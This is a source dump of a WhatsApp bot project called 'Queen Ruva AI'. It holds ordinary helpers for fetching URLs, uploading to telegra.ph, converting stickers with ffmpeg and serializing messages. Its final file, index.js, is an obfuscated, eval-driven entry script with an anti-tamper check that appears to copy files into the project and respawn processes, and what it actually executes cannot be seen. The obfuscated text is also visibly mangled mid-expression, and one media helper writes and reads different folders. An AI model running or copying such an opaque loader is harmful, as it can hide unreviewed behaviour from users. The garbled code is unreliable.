axios({ 101 | method: 'GET', 102 | url: url, 103 | headers: { 104 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' 105 | }, 106 | ...options 107 | }) 108 | return res.data 109 | } catch (err) { 110 | return err 111 | } 112 | } 113 | 114 | exports.WAVersion = async () => { 115 | let get = await exports.fetchUrl("https://web.whatsapp.com/check-update?version=1&platform=web") 116 | let version = [get.currentVersion.replace(/[.]/g, ", ")] 117 | return version 118 | } 119 | 120 | exports.getRandom = (ext) => { 121 | return `${Math.floor(Math.random() * 10000)}${ext}` 122 | } 123 | 124 | exports.isUrl = (url) => { 125 | return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/, 'gi')) 126 | } 127 | 128 | exports.isNumber = (number) => { 129 | const int = parseInt(number) 130 | return typeof int === 'number' && !isNaN(int) 131 | } 132 | exports.TelegraPh= (Path) =>{ 133 | return new Promise (async (resolve, reject) => { 134 | if (!fs.existsSync(Path)) return reject(new Error("File not Found")) 135 | try { 136 | const form = new BodyForm(); 137 | form.append("file", fs.createReadStream(Path)) 138 | const data = await axios({ 139 | url: "https://telegra.ph/upload", 140 | method: "POST", 141 | headers: { 142 | ...form.getHeaders() 143 | }, 144 | data: form 145 | }) 146 | return resolve("https://telegra.ph" + data.data[0].src) 147 | } catch (err) { 148 | return reject(new Error(String(err))) 149 | } 150 | }) 151 | } 152 | const sleepy = async (ms) => { 153 | return new Promise(resolve => setTimeout(resolve, ms)); 154 | } 155 | exports.buffergif = async (image) => { 156 | 157 | const filename = `${Math.random().toString(36)}` 158 | await fs.writeFileSync(`./QueenMedia/trash/${filename}.gif`, image) 159 | child_process.exec( 160 | `ffmpeg -i ./GlobalMedia/trash/${filename}.gif -movflags faststart -pix_fmt yuv420p -vf "scale=trunc(iw/2)*2:trunc(ih/2)*2" ./QueenMedia/trash/${filename}.mp4` 161 | ) 162 | await sleepy(4000) 163 | 164 | var buffer5 = await fs.readFileSync(`./GlobalMedia/trash/${filename}.mp4`) 165 | Promise.all([unlink(`./QueenMedia/video/${filename}.mp4`), unlink(`./QueenMedia/gif/${filename}.gif`)]) 166 | return buffer5 167 | } 168 | /* we no have time to encrypted our private functioning if there no our official base thank you 169 | .............................................. QUEEN RUVA AI BETA 170 | /* created by iconic tech Visit our website at 171 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /database/exifFunct.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | const fs = require('fs') 3 | const { tmpdir } = require("os") 4 | const Crypto = require("crypto") 5 | const ff = require('fluent-ffmpeg') 6 | const webp = require("node-webpmux") 7 | const path = require("path") 8 | 9 | 10 | async function imageToWebp (media) { 11 | 12 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 13 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.jpg`) 14 | 15 | fs.writeFileSync(tmpFileIn, media) 16 | 17 | await new Promise((resolve, reject) => { 18 | ff(tmpFileIn) 19 | .on("error", reject) 20 | .on("end", () => resolve(true)) 21 | .addOutputOptions([ 22 | "-vcodec", 23 | "libwebp", 24 | "-vf", 25 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse" 26 | ]) 27 | .toFormat("webp") 28 | .save(tmpFileOut) 29 | }) 30 | 31 | const buff = fs.readFileSync(tmpFileOut) 32 | fs.unlinkSync(tmpFileOut) 33 | fs.unlinkSync(tmpFileIn) 34 | return buff 35 | } 36 | 37 | async function videoToWebp (media) { 38 | 39 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 40 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.mp4`) 41 | 42 | fs.writeFileSync(tmpFileIn, media) 43 | 44 | await new Promise((resolve, reject) => { 45 | ff(tmpFileIn) 46 | .on("error", reject) 47 | .on("end", () => resolve(true)) 48 | .addOutputOptions([ 49 | "-vcodec", 50 | "libwebp", 51 | "-vf", 52 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse", 53 | "-loop", 54 | "0", 55 | "-ss", 56 | "00:00:00", 57 | "-t", 58 | "00:00:05", 59 | "-preset", 60 | "default", 61 | "-an", 62 | "-vsync", 63 | "0" 64 | ]) 65 | .toFormat("webp") 66 | .save(tmpFileOut) 67 | }) 68 | 69 | const buff = fs.readFileSync(tmpFileOut) 70 | fs.unlinkSync(tmpFileOut) 71 | fs.unlinkSync(tmpFileIn) 72 | return buff 73 | } 74 | 75 | async function writeExifImg (media, metadata) { 76 | let wMedia = await imageToWebp(media) 77 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 78 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 79 | fs.writeFileSync(tmpFileIn, wMedia) 80 | 81 | if (metadata.packname || metadata.author) { 82 | const img = new webp.Image() 83 | const json = { "sticker-pack-id": `https://github.com/nazedev/naze`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 84 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 85 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 86 | const exif = Buffer.concat([exifAttr, jsonBuff]) 87 | exif.writeUIntLE(jsonBuff.length, 14, 4) 88 | await img.load(tmpFileIn) 89 | fs.unlinkSync(tmpFileIn) 90 | img.exif = exif 91 | await img.save(tmpFileOut) 92 | return tmpFileOut 93 | } 94 | } 95 | 96 | async function writeExifVid (media, metadata) { 97 | let wMedia = await videoToWebp(media) 98 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 99 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 100 | fs.writeFileSync(tmpFileIn, wMedia) 101 | 102 | if (metadata.packname || metadata.author) { 103 | const img = new webp.Image() 104 | const json = { "sticker-pack-id": `https://github.com/nazedev/naze`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 105 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 106 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 107 | const exif = Buffer.concat([exifAttr, jsonBuff]) 108 | exif.writeUIntLE(jsonBuff.length, 14, 4) 109 | await img.load(tmpFileIn) 110 | fs.unlinkSync(tmpFileIn) 111 | img.exif = exif 112 | await img.save(tmpFileOut) 113 | return tmpFileOut 114 | } 115 | } 116 | 117 | async function writeExif (media, metadata) { 118 | let wMedia = /webp/.test(media.mimetype) ? media.data : /image/.test(media.mimetype) ? await imageToWebp(media.data) : /video/.test(media.mimetype) ? await videoToWebp(media.data) : "" 119 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 120 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 121 | fs.writeFileSync(tmpFileIn, wMedia) 122 | 123 | if (metadata.packname || metadata.author) { 124 | const img = new webp.Image() 125 | const json = { "sticker-pack-id": `https://github.com/nazedev/naze`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 126 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 127 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 128 | const exif = Buffer.concat([exifAttr, jsonBuff]) 129 | exif.writeUIntLE(jsonBuff.length, 14, 4) 130 | await img.load(tmpFileIn) 131 | fs.unlinkSync(tmpFileIn) 132 | img.exif = exif 133 | await img.save(tmpFileOut) 134 | return tmpFileOut 135 | } 136 | } 137 | 138 | module.exports = { imageToWebp, videoToWebp, writeExifImg, writeExifVid, writeExif } 139 | /* we no have time to encrypted our private functioning if there no our official base thank you 140 | .............................................. QUEEN RUVA AI BETA 141 | /* created by iconic tech Visit our website at 142 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /database/queenruva.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | 3 | const { 4 | proto, 5 | delay, 6 | getContentType 7 | } = require('baileys') 8 | const chalk = require('chalk') 9 | const fs = require('fs') 10 | const Crypto = require('crypto') 11 | const axios = require('axios') 12 | const moment = require('moment-timezone') 13 | const { 14 | sizeFormatter 15 | } = require('human-readable') 16 | const util = require('util') 17 | const Jimp = require('jimp') 18 | const { 19 | defaultMaxListeners 20 | } = require('stream') 21 | 22 | const unixTimestampSeconds = (date = new Date()) => Math.floor(date.getTime() / 1000) 23 | 24 | exports.unixTimestampSeconds = unixTimestampSeconds 25 | 26 | exports.generateMessageTag = (epoch) => { 27 | let tag = (0, exports.unixTimestampSeconds)().toString(); 28 | if (epoch) 29 | tag += '.--' + epoch; // attach epoch if provided 30 | return tag; 31 | } 32 | 33 | exports.processTime = (timestamp, now) => { 34 | return moment.duration(now - moment(timestamp * 1000)).asSeconds() 35 | } 36 | 37 | exports.getRandom = (ext) => { 38 | return `${Math.floor(Math.random() * 10000)}${ext}` 39 | } 40 | 41 | exports.getBuffer = async (url, options) => { 42 | try { 43 | options ? options : {} 44 | const res = await axios({ 45 | method: "get", 46 | url, 47 | headers: { 48 | 'DNT': 1, 49 | 'Upgrade-Insecure-Request': 1 50 | }, 51 | ...options, 52 | responseType: 'arraybuffer' 53 | }) 54 | return res.data 55 | } catch (err) { 56 | return err 57 | } 58 | } 59 | 60 | exports.getImg = async (url, options) => { 61 | try { 62 | options ? options : {} 63 | const res = await axios({ 64 | method: "get", 65 | url, 66 | headers: { 67 | 'DNT': 1, 68 | 'Upgrade-Insecure-Request': 1 69 | }, 70 | ...options, 71 | responseType: 'arraybuffer' 72 | }) 73 | return res.data 74 | } catch (err) { 75 | return err 76 | } 77 | } 78 | 79 | exports.fetchJson = async (url, options) => { 80 | try { 81 | options ? options : {} 82 | const res = await axios({ 83 | method: 'GET', 84 | url: url, 85 | headers: { 86 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' 87 | }, 88 | ...options 89 | }) 90 | return res.data 91 | } catch (err) { 92 | return err 93 | } 94 | } 95 | 96 | exports.runtime = function(seconds) { 97 | seconds = Number(seconds); 98 | var d = Math.floor(seconds / (3600 * 24)); 99 | var h = Math.floor(seconds % (3600 * 24) / 3600); 100 | var m = Math.floor(seconds % 3600 / 60); 101 | var s = Math.floor(seconds % 60); 102 | var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " days, ") : ""; 103 | var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " hours, ") : ""; 104 | var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " minutes, ") : ""; 105 | var sDisplay = s > 0 ? s + (s == 1 ? " second" : " seconds") : ""; 106 | return dDisplay + hDisplay + mDisplay + sDisplay; 107 | } 108 | 109 | exports.clockString = (ms) => { 110 | let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) 111 | let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 112 | let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 113 | return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') 114 | } 115 | 116 | exports.sleep = async (ms) => { 117 | return new Promise(resolve => setTimeout(resolve, ms)); 118 | } 119 | 120 | exports.isUrl = (url) => { 121 | return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/, 'gi')) 122 | } 123 | 124 | exports.getTime = (format, date) => { 125 | if (date) { 126 | return moment(date).locale('id').format(format) 127 | } else { 128 | return moment.tz('Asia/Karachi').locale('id').format(format) 129 | } 130 | } 131 | 132 | exports.formatDate = (n, locale = 'id') => { 133 | let d = new Date(n) 134 | return d.toLocaleDateString(locale, { 135 | weekday: 'long', 136 | day: 'numeric', 137 | month: 'long', 138 | year: 'numeric', 139 | hour: 'numeric', 140 | minute: 'numeric', 141 | second: 'numeric' 142 | }) 143 | } 144 | 145 | exports.tanggal = (numer) => { 146 | myMonths = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; 147 | myDays = ['monday', 'Tuesday', ' Wednesday', ' Thursday', 'friday', 'Saturday', 'sunday']; //created by iconic tech 148 | var tgl = new Date(numer); 149 | var day = tgl.getDate() 150 | bulan = tgl.getMonth() 151 | var thisDay = tgl.getDay(), 152 | thisDay = myDays[thisDay]; 153 | var yy = tgl.getYear() 154 | var year = (yy < 1000) ? yy + 1900 : yy; 155 | const time = moment.tz('Zimbabwe/Bulawayo').format('DD/MM HH:mm:ss') 156 | let d = new Date 157 | let locale = 'id' 158 | let gmt = new Date(0).getTime() - new Date('1 January 1970').getTime() 159 | let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5] 160 | 161 | return `${thisDay}, ${day} - ${myMonths[bulan]} - ${year}` 162 | } 163 | exports.jam = (numer, options = {}) => { 164 | let format = options.format ? options.format : "HH:mm" 165 | let jam = options?.timeZone ? moment(numer).tz(timeZone).format(format) : moment(numer).format(format) 166 | 167 | return `${jam}` 168 | } 169 | 170 | exports.formatp = sizeFormatter({ 171 | std: 'JEDEC', //'SI' = default | 'IEC' | 'JEDEC' 172 | decimalPlaces: 2, 173 | keepTrailingZeroes: false, 174 | render: (literal, symbol) => `${literal} ${symbol}B`, 175 | }) 176 | 177 | exports.json = (string) => { 178 | return JSON.stringify(string, null, 2) 179 | } 180 | 181 | function format(...args) { 182 | return util.format(...args) 183 | } 184 | 185 | exports.logic = (check, inp, out) => { 186 | if (inp.length !== out.length) throw new Error('Input and Output must have same length') 187 | for (let i in inp) 188 | if (util.isDeepStrictEqual(check, inp[i])) return out[i] 189 | return null 190 | } 191 | 192 | exports.generateProfilePicture = async (buffer) => { 193 | const jimp = await Jimp.read(buffer) 194 | const min = jimp.getWidth() 195 | const max = jimp.getHeight() 196 | const cropped = jimp.crop(0, 0, min, max) 197 | return { 198 | img: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG), 199 | preview: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG) 200 | } 201 | } 202 | 203 | exports.bytesToSize = (bytes, decimals = 2) => { 204 | if (bytes === 0) return '0 Bytes'; 205 | 206 | const k = 1024; 207 | const dm = decimals < 0 ? 0 : decimals; 208 | const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']; 209 | 210 | const i = Math.floor(Math.log(bytes) / Math.log(k)); 211 | 212 | return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i]; 213 | } 214 | 215 | exports.getSizeMedia = (path) => { 216 | return new Promise((resolve, reject) => { 217 | if (/http/.test(path)) { 218 | axios.get(path) 219 | .then((res) => { 220 | let length = parseInt(res.headers['content-length']) 221 | let size = exports.bytesToSize(length, 3) 222 | if (!isNaN(length)) resolve(size) 223 | }) 224 | } else if (Buffer.isBuffer(path)) { 225 | let length = Buffer.byteLength(path) 226 | let size = exports.bytesToSize(length, 3) 227 | if (!isNaN(length)) resolve(size) 228 | } else { 229 | reject('error gatau apah') 230 | } 231 | }) 232 | } 233 | 234 | exports.parseMention = (text = '') => { 235 | return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net') 236 | } 237 | 238 | exports.getGroupAdmins = (participants) => { 239 | let admins = [] 240 | for (let i of participants) { 241 | i.admin === "superadmin" ? admins.push(i.id) : i.admin === "admin" ? admins.push(i.id) : '' 242 | } 243 | return admins || [] 244 | } 245 | 246 | /** 247 | * Serialize Message 248 | * @param {WAConnection} conn 249 | * @param {Object} m 250 | * @param {store} store 251 | */ 252 | exports.smsg = (XeonBotInc, m, store) => { 253 | if (!m) return m 254 | let M = proto.WebMessageInfo 255 | if (m.key) { 256 | m.id = m.key.id 257 | m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16 258 | m.chat = m.key.remoteJid 259 | m.fromMe = m.key.fromMe 260 | m.isGroup = m.chat.endsWith('@g.us') 261 | m.sender = XeonBotInc.decodeJid(m.fromMe && XeonBotInc.user.id || m.participant || m.key.participant || m.chat || '') 262 | if (m.isGroup) m.participant = XeonBotInc.decodeJid(m.key.participant) || '' 263 | } 264 | if (m.message) { 265 | m.mtype = getContentType(m.message) 266 | m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype]) 267 | m.body = m.message.conversation || m.msg.caption || m.msg.text || (m.mtype == 'listResponseMessage') && m.msg.singleSelectReply.selectedRowId || (m.mtype == 'buttonsResponseMessage') && m.msg.selectedButtonId || (m.mtype == 'viewOnceMessage') && m.msg.caption || m.text 268 | let quoted = m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null 269 | m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] 270 | if (m.quoted) { 271 | let type = getContentType(quoted) 272 | m.quoted = m.quoted[type] 273 | if (['productMessage'].includes(type)) { 274 | type = getContentType(m.quoted) 275 | m.quoted = m.quoted[type] 276 | } 277 | if (typeof m.quoted === 'string') m.quoted = { 278 | text: m.quoted 279 | } 280 | m.quoted.mtype = type 281 | m.quoted.id = m.msg.contextInfo.stanzaId 282 | m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat 283 | m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false 284 | m.quoted.sender = XeonBotInc.decodeJid(m.msg.contextInfo.participant) 285 | m.quoted.fromMe = m.quoted.sender === (XeonBotInc.user && XeonBotInc.user.id) 286 | m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || '' 287 | m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] 288 | m.getQuotedObj = m.getQuotedMessage = async () => { 289 | if (!m.quoted.id) return false 290 | let q = await store.loadMessage(m.chat, m.quoted.id, XeonBotInc) 291 | return exports.smsg(XeonBotInc, q, store) 292 | } 293 | let vM = m.quoted.fakeObj = M.fromObject({ 294 | key: { 295 | remoteJid: m.quoted.chat, 296 | fromMe: m.quoted.fromMe, 297 | id: m.quoted.id 298 | }, 299 | message: quoted, 300 | ...(m.isGroup ? { 301 | participant: m.quoted.sender 302 | } : {}) 303 | }) 304 | 305 | /** 306 | * 307 | * @returns 308 | */ 309 | m.quoted.delete = () => XeonBotInc.sendMessage(m.quoted.chat, { 310 | delete: vM.key 311 | }) 312 | 313 | /** 314 | * 315 | * @param {*} jid 316 | * @param {*} forceForward 317 | * @param {*} options 318 | * @returns 319 | */ 320 | m.quoted.copyNForward = (jid, forceForward = false, options = {}) => XeonBotInc.copyNForward(jid, vM, forceForward, options) 321 | 322 | /** 323 | * 324 | * @returns 325 | */ 326 | m.quoted.download = () => XeonBotInc.downloadMediaMessage(m.quoted) 327 | } 328 | } 329 | if (m.msg.url) m.download = () => XeonBotInc.downloadMediaMessage(m.msg) 330 | m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || '' 331 | /** 332 | * Reply to this message 333 | * @param {String|Object} text 334 | * @param {String|false} chatId 335 | * @param {Object} options 336 | */ 337 | m.reply = (text, chatId = m.chat, options = {}) => Buffer.isBuffer(text) ? XeonBotInc.sendMedia(chatId, text, 'file', '', m, { 338 | ...options 339 | }) : XeonBotInc.sendText(chatId, text, m, { 340 | ...options 341 | }) 342 | /** 343 | * Copy this message 344 | */ 345 | m.copy = () => exports.smsg(XeonBotInc, M.fromObject(M.toObject(m))) 346 | 347 | /** 348 | * 349 | * @param {*} jid 350 | * @param {*} forceForward 351 | * @param {*} options 352 | * @returns 353 | */ 354 | m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => XeonBotInc.copyNForward(jid, m, forceForward, options) 355 | 356 | return m 357 | } 358 | exports.reSize = (buffer, ukur1, ukur2) => { 359 | return new Promise(async (resolve, reject) => { 360 | var baper = await Jimp.read(buffer); 361 | var ab = await baper.resize(ukur1, ukur2).getBufferAsync(Jimp.MIME_JPEG) 362 | resolve(ab) 363 | }) 364 | } 365 | 366 | let file = require.resolve(__filename) 367 | fs.watchFile(file, () => { 368 | fs.unwatchFile(file) 369 | console.log(chalk.redBright(`Update ${__filename}`)) 370 | delete require.cache[file] 371 | require(file) 372 | }) 373 | /* we no have time to encrypted our private functioning if there no our official base thank you 374 | .............................................. QUEEN RUVA AI BETA 375 | /* created by iconic tech Visit our website at 376 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | // obfuscator by codewave unit obf 2 | let strl;!function(){const YewG=Array.prototype.slice.call(arguments);return eval("(function MFWA(vV3s){const PiWs=fFNt(vV3s,nNqt(MFWA.toString()));try{let rQYs=eval(PiWs);return rQYs.apply(null,YewG);}catch(LdRs){var nLTs=(0o204312-67761);while(nLTs<(0o400155%65575))switch(nLTs){case (0x30070%0o200035):nLTs=LdRs instanceof SyntaxError?(0o400134%0x1001F):(0o400157%0x10028);break;case (0o201604-0x10366):nLTs=(0o400173%65582);{console.log(\'Error: the code has been tampered!\');return}break;}throw LdRs;}function nNqt(Pktt){let jIlt=960845112;var Lfot=(0o400064%65552);{let fDgt;while(Lfot<(0x10618-0o202761)){switch(Lfot){case (0o600210%0x10023):Lfot=(69016-0o206573);{jIlt^=(Pktt.charCodeAt(fDgt)*(15658734^0O73567354)+Pktt.charCodeAt(fDgt>>>(0x4A5D0CE&0O320423424)))^1994272397;}break;case (0o205524-68407):Lfot=(131117%0o200020);fDgt++;break;case (262249%0o200027):Lfot=fDgt=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(D7Kt-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+D7Kt);}break;case (0o600051%0x1000A):bybt=(0o200430-65788);D5dt++;break;}}}return Hajt;}function fFNt(z2Ft,bAIt){z2Ft=decodeURI(z2Ft);let vXAt=(0x75bcd15-0O726746425);let XuDt=\"\";var rSvt=(0o205050-0x10A14);{let Tpyt;while(rSvt<(0x11248-0o211041)){switch(rSvt){case (0o200466-0x10117):rSvt=(0o201104-66087);{XuDt+=String.fromCharCode(z2Ft.charCodeAt(Tpyt)^bAIt.charCodeAt(vXAt));vXAt++;var vPsr=(0o201440-0x10310);while(vPsr<(0x3005D%0o200024))switch(vPsr){case (0o400062%65553):vPsr=vXAt>=bAIt.length?(67776-0o204240):(0o600124%65553);break;case (262220%0o200013):vPsr=(0o1000161%65556);{vXAt=(0x75bcd15-0O726746425);}break;}}break;case (0o400071%0x10016):rSvt=Tpyt{UbJy[strl.QHFh(27)](saGy[strl.g2Zh(6)](EjYy,AgSy),saGy[strl.g2Zh(6)](__dirname,AgSy));});UbJy[strl.UKdh(18)](EjYy,{[strl.QHFh(19)]:!![],[strl.Ixvh(20)]:!![]});return !![];}catch(ciVy){console[strl.Ixvh(28)](strl.Esqh(29),ciVy[strl.g2Zh(30)]);return (NaN===NaN);}}function wdMy(){const YePy=[QYCy,...process[strl.sfIh(31)][strl.EqTg(32)]((15658734^0O73567354))];const YyCz=ozBB(process[strl.sfIh(31)][(0x75bcd15-0O726746425)],YePy,{[strl.EqTg(24)]:[strl.cTQg(33),strl.cTQg(33),strl.cTQg(33),strl.UKdh(34)],[strl.QHFh(35)]:__dirname})[strl.Ixvh(36)](strl.g2Zh(30),AAFz=>{var Uvwz=strl[strl.QHFh(11)]();while(Uvwz{setTimeout(wdMy,1000);});process[strl.Ixvh(36)](strl.EqTg(40),()=>process[strl.sfIh(39)]());}var wxzz=strl[strl.QHFh(11)]();while(wxzzprocess[strl.sfIh(39)](),1000);}break;} --------------------------------------------------------------------------------